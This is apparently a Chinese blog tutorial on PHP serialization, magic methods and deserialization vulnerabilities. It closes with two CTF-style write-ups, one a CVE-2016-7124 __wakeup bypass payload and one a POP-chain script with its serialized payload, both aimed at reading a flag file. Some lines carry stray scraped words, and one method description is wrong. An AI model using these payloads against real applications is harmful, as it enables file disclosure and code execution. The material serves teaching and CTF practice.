淺談PHP序列化與反序列化

基礎知識

如今咱們都會在淘寶上買桌子,這時候通常都會把它拆掉成板子,再裝到箱子裏面,就能夠快遞寄出去了,這個過程就相似咱們的序列化的過程(把數據轉化爲能夠存儲或者傳輸的形式)。當買家收到貨後,就須要本身把這些板子組裝成桌子的樣子,這個過程就像反序列的過程(轉化成當初的數據對象)。php

也就是說,序列化的目的是方便傳輸和存儲。html

在PHP應用中,序列化和反序列化通常用作緩存,好比session,cookie等。c++

  • PHP序列化:php爲了方便進行數據的傳輸,容許把複雜的數據結構,壓縮到一個字符串中,使用serialize()函數。數組

  • PHP反序列化:將被壓縮爲字符串的複雜數據結構,從新恢復,使用unserialize()函數。緩存

  • PHP反序列化漏洞:若是代碼中使用了反序列化 unserialize()函數,而且參數可控,且程序沒有對用戶輸入的反序列化字符串進行校驗,那麼能夠經過在本地構造序列化字符串,同時利用PHP中的一系列magic方法來達到想要實現的目的,如控制對象內部的變量甚至是函數。cookie

序列化格式

<?php

$str='Theoyu';
$bool=true;
$null=NULL;
$arr=array('a'=>1,'b'=>2);

class A
{
    public $x;
    private $y;

    public function __construct($x,$y)
    {
        $this->x=$x;
        $this->y=$y;
    }
}

$test=new A(3,"theoyu");      
echo(serialize($str).'</br>');    //s:6:"Theoyu";
echo(serialize($bool).'</br>');   //b:1;
echo(serialize($null).'</br>');   //N;
echo(serialize($arr).'</br>');    //a:2{s:1:"a";i:1;s:1:"b";i:2;}
echo(serialize($test).'</br>');   //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";}

?>

序列化對不一樣類型獲得的字符串格式爲:session

  • string : s:size:value;數據結構

  • Integer: i:value;函數

  • Boolean b:value;(1 or 0)ui

  • NULL N;

  • Array a:size:{key definition;value definition;······}definition 相似string or Integer

  • Object O:類名長度:"類名":屬性數量:{屬性類型:屬性名長度:屬性名:value definition······}

Magic methods

PHP16個魔術方法

PHP中把比雙下劃線__開頭的方法稱爲魔術方法,這些發在達到某些條件時會自動被調用:

  1. __construct():類的構造函數,當一個類被建立時自動調用

  2. __destruct)(),類的析構函數,當一個類被銷燬時自動調用

  3. __sleep(),執行serialize()進行序列化時,先會調用這個函數

  4. __wakeup(),執行unserialize()進行反序列化時,先會調用這個函數

  5. __toString(),當把一個類看成函數使用時自動調用

  6. __invoke(),當把一個類看成函數使用時自動調用

  7. __call(),在對象中調用一個不可訪問方法時調用

  8. __callStatic(),用靜態方式中調用一個不可訪問方法時調用

  9. __get(),得到一個類的成員變量時調用

  10. __set(),設置一個類的成員變量時調用

  11. __isset(),當對不可訪問屬性調用isset()或empty()時調用

  12. __unset(),當對不可訪問屬性調用unset()時被調用。

  13. __set_state(),調用var_export()導出類時,此靜態方法會被調用。

  14. __clone(),當對象複製完成時調用

  15. __autoload(),嘗試加載未定義的類

  16. __debugInfo(),打印所需調試信息

下面針對幾個經常使用的魔術方法具體實現。

__construct()

相似c++的構造函數

須要指出,PHP不支持構造函數重載,因此一個類只能聲明一個構造函數!

__destruct()

同上,相似c++..

__sleep()

serialize()函數會檢查類中是否存在一個魔術方法__sleep(),若是存在,則該方法會優先被調用。

  • 該函數必須至少返回一個所包含對象中的變量名稱
  • 沒有返回的變量將不會輸出。
<?php
class Person
{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age)
    {
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;       
    }

    public function __sleep()
    {
        echo"我是__sleep()函數,我被調用了,你覺得你還叫theoyu?<br>";
        $this->name=base64_encode($this->name);
        return array('name','sex');//沒有返回age
    }


}
$person =new Person('theoyu','男','20');
echo serialize($person)
?>

輸出:

我是__sleep()函數,我被調用了,你覺得你還叫theoyu?
O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}

沒有年齡。

__wakeup()

unserialize()前會檢查是否存在__wakeup(),若是存在會優先調動。

和__sleep()相比,不須要返回數組。

<?php
class Person
{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age)
    {
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;       
    }

    public function __sleep()
    {
        echo"我是__sleep()函數,我被調用了,你覺得你還叫theoyu?<br>";
        $this->name=base64_encode($this->name);
        return array('name','sex');
    }
    public function __wakeup()
    {
        echo"我是__wakeup()函數,你從新擁有了你的名字<br>";
        $this->name=base64_decode(base64_decode($this->name)); //這裏須要兩次解碼,由於__sleep()調用了兩次
    }


}
$person =new Person('theoyu','男','20');
echo serialize($person)."<br>";
var_dump(unserialize(serialize($person)));

?>

輸出:

我是__sleep()函數,我被調用了,你覺得你還叫theoyu?
O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
我是__sleep()函數,我被調用了,你覺得你還叫theoyu?
我是__wakeup()函數,你從新擁有了你的名字
object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }

...突然發現好中二= =

__toString()
  • __toString()用於一個對象被看成字符串時應該如何迴應,應該顯示什麼。

  • __toSrring()必須返回一個字符串。

zhegnv<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;
        }
        function __toString()
        {
            $str="this is __toString";
            return $str;    //__toString() must return a string value
        }

    }
     $a=new A(3);
     echo $a;         //this is __toString
?>
__invoke()
  • 一個對象被看成函數調用時,__invoke()會自動被調用。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;
        }
        function __invoke()
        {
            echo "this is __invoke";
        }

    }
     $a=new A(3);
     $a();         //this is __invoke
?>
__call()
  • 調用類不存在的函數時,__call()會被調用,保證程序正常進行。
  • 格式 function __call(\(function_name,\)arguments)
  • 第一個參數會自動接收不存在函數的函數名,第二個參數以數組方式接收不存在函數的多個參數。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;

        }
        function __call($funcion_name,$arguments)
        {
            echo"你調用的函數:".$funcion_name."(參數:";
            print_r($arguments); //數組要用print_r()
            echo ")不存在!";
        }
     }

     $a=new A(3); 
     $a->person('name','age','sex');
     //你調用的函數:person(參數:Array ( [0] => name [1] => age [2] => sex ) )不存在!
?>

反序列化漏洞

e.g.1
  • CVE-2016-7124漏洞:當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行。

  • 要求版本:PHP5<5.6.25 PHP7<7.0.10

  • index.php:

<?php
    class loudong
    {
        public $file ='index.php';
        function __destruct()
        {
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                {
                    echo"<br>";
                    show_source(dirname(__FILE__).'/'.$this->file);
                }
                else
                    die('Wrong filename');
            } 
        }
        function __wakeup()
        {
            $this->file='index.php';
        }

        function __toString()
        {
            return 'this is tostring';
        }
        

    }
    if(!isset($_GET['file']))
    {
        show_source('index.php');
    }
    else
    {
        $file=$_GET['file'];
        echo unserialize($file);
    }

?>  <!-- key in flag.php -->

分析其中的幾個函數strchr('a','b'):在a中搜索字串b,搜索成功返回剩下字串,失敗return false。

代碼審計

  1. 提示flag在flag.php裏面,咱們要想辦法讀到裏面的內容。
  2. 在析構函數中,show_source(dirname(FILE).'/'.\(this->file)**,**dirname**返回的是文件所在文件夾的絕對路徑,拼接後面的**/\)this->file,想辦法看能不能把file改成flag.php.
  3. __wakeup()中,反系列化會自動調用把file置爲index.php,那咱們但願繞過這個函數。

這裏須要用到CVE-2016-7124漏洞

當序列化字符串中表示對象屬性個數大於真實的屬性個數或值類型不匹配時會跳過__wakeup的執行.

  • 正常構造序列化對象:O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
  • 繞過:O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}//或i:8:"flag.php均可

e.g.2

一道考察多方面的題

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
        {
            $this->mod1->test2();
        }
}    
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                include"flag.php";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

如何在一個類中實例化另外一個類呢?利用類的構造函數,只要第一個類被實例化就會自動實例化咱們須要另外構造的類。

思路

  1. 要想獲得flag,須要調用GetFlag類中的get_flag()函數。
  2. 在string1類能夠看出,咱們須要把str1實例化爲GetFlag類的對象,而後看有沒有字符串能調用__toString()函數。
  3. 往上看,func類中,__invoke()函數存在字符串拼接,知足2的預期,須要把mod2實例化爲string1的對象,再找找有沒有把對象看成函數的地方來調用__invoke()。
  4. 在funct類中找到調用$s1()函數,只需將mod1實例化爲func類的對象,再找找有沒有調用不存在函數的地方。
  5. 蕪湖,咱們發現Call類中test1()函數就調用了不存在的函數,咱們須要把mod1實例化爲funct的對象。
  6. 最後一步!往上看!在start__gg的析構函數就調用了test1()函數,那咱們只須要把mod1實例化爲__Call的對象就能夠了!

最後構造!

<?php
class start_gg
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new Call();
        }
}
class Call
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new funct();
        }
}
class funct
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new func();
        }
}
class func
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new string1();
        }
}
class string1
{
        public $str1;
        public function __construct()
        {
            $this->str1 = new GetFlag();
        }
}
class GetFlag {}

$a = new start_gg();
echo serialize($a);
//O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
?>

payload serialize($a),獲得flag。

參考:

突然感受本身效率很低,原本兩天就能作完的,拖了快一個星期...

10月校賽的wp也還沒完成

唉~

最後呢,給你們推一首曲子:ふるさとの匂い—吉森信

是《夏目友人賬》曲子欸 很治癒的

相關文章
相關標籤/搜索